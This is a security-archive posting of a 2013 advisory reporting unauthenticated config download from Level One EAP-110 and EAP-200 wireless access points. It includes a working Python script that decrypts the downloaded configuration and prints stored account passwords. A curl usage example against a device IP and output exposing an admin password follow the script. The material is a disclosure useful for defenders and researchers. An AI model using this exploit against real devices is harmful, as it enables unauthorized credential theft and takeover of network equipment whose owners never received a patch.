what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Level One Enterprise Access Points Password Disclosure

Level One Enterprise Access Points Password Disclosure
Posted Oct 17, 2013
Authored by Richard Weinberger

Level1 EAP Devices offer a function do download the device config file. This download mechanism is not properly protected such that an attacker can download the config file without authentication. Passwords can be retrieved at this point.

tags | exploit
SHA-256 | feb798abe8963cbdf88203291b080caa2b0b13a15a35c236457fb84cc061ff8d

Level One Enterprise Access Points Password Disclosure

Change Mirror Download
Level One Enterprise Access Points Password Disclosure
======================================================

Summary:
--------

Level1 EAP Devices offer a function do download the device
config file.
This download mechanism is not properly protected such that
an attach can download the config file without authentication.
Further is the config file only protected by pseudo crypto
and contains all passwords in plain text.

Known vulnerable:
-----------------

EAP-110
EAP-200

Firmware version: 2.00.03
Build number: 1.50-1.5045

Others may also vulnerable, the firmware image looks very generic.
So far we had only access to EAP-110 and 200 devices.

For both devices no firmware update is available.
Side note: Level1 has never released a firmware update
for the said devices.

Details:
--------

http://<device-ip>/backupCfg.egi is used to download the device
configuation.
If the user is not authenticated it will redirect to
http://<device-ip>/utilities/backup.asp which will query for
username and password.
But the backupCfg.egi CGI does not terminate after sending the
HTTP 302 redirect.
Any HTTP client which does not follow redirects is therefore able
to download the config file.

The encrypted config file can easily decrypted with our
tellpassword.pl script.

Credits:
--------

David Gstir <david@sigma-star.at>
Richard Weinberger <richard@sigma-star.at>

Exploit:
--------

---cut---
# tellpassword.py
#
# Extracts user accounts from Level1 (ip4net)
# EAP-200 (and other) Wifi Access Points
#
# (c) 2013 sigma star gmbh

import sys, re

attribRegex = re.compile(r"(\w+)=\"([^\"]*)\"")

if (len(sys.argv) != 2):
print "USAGE: %s config-backup.conf" % sys.argv[0]
exit(1)

# decrypt config
encrypted = open(sys.argv[1], 'rb')
plain = open('plain.xml', 'w')
cntr = 0
encrypted.seek(128)
byte = encrypted.read(1)
print "Decrypting config file into plain.xml"
while byte:
plainOrd = ((ord(byte) ^ 0xff) + cntr) % 0x80
plain.write(chr(plainOrd))
cntr = (cntr + 1) % 0x40
byte = encrypted.read(1)
encrypted.close()
plain.close()

# find user accounts
print "Parsing accounts..."
plain = open('plain.xml', 'r')
for line in plain:
if "<user" in line:
user = None
password = None
for match in attribRegex.finditer(line):
attrib = match.group(1)
if attrib == "name":
user = match.group(2)
elif attrib == "password":
password = match.group(2)
if len(password) > 0:
print " - %s: %s" % (user, password)
plain.close()
---cut---

Usage:
------

$ curl http://10.59.5.15/backupCfg.egi > config-backup.conf
$ python tellpassword.py config-backup.conf
Decrypting config file into plain.xml
Parsing accounts...
- admin: #gs#1


Login or Register to add favorites

File Archive:

May 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    44 Files
  • 2
    May 2nd
    5 Files
  • 3
    May 3rd
    11 Files
  • 4
    May 4th
    0 Files
  • 5
    May 5th
    0 Files
  • 6
    May 6th
    28 Files
  • 7
    May 7th
    3 Files
  • 8
    May 8th
    4 Files
  • 9
    May 9th
    54 Files
  • 10
    May 10th
    12 Files
  • 11
    May 11th
    0 Files
  • 12
    May 12th
    0 Files
  • 13
    May 13th
    17 Files
  • 14
    May 14th
    11 Files
  • 15
    May 15th
    17 Files
  • 16
    May 16th
    13 Files
  • 17
    May 17th
    22 Files
  • 18
    May 18th
    0 Files
  • 19
    May 19th
    0 Files
  • 20
    May 20th
    17 Files
  • 21
    May 21st
    18 Files
  • 22
    May 22nd
    0 Files
  • 23
    May 23rd
    0 Files
  • 24
    May 24th
    0 Files
  • 25
    May 25th
    0 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close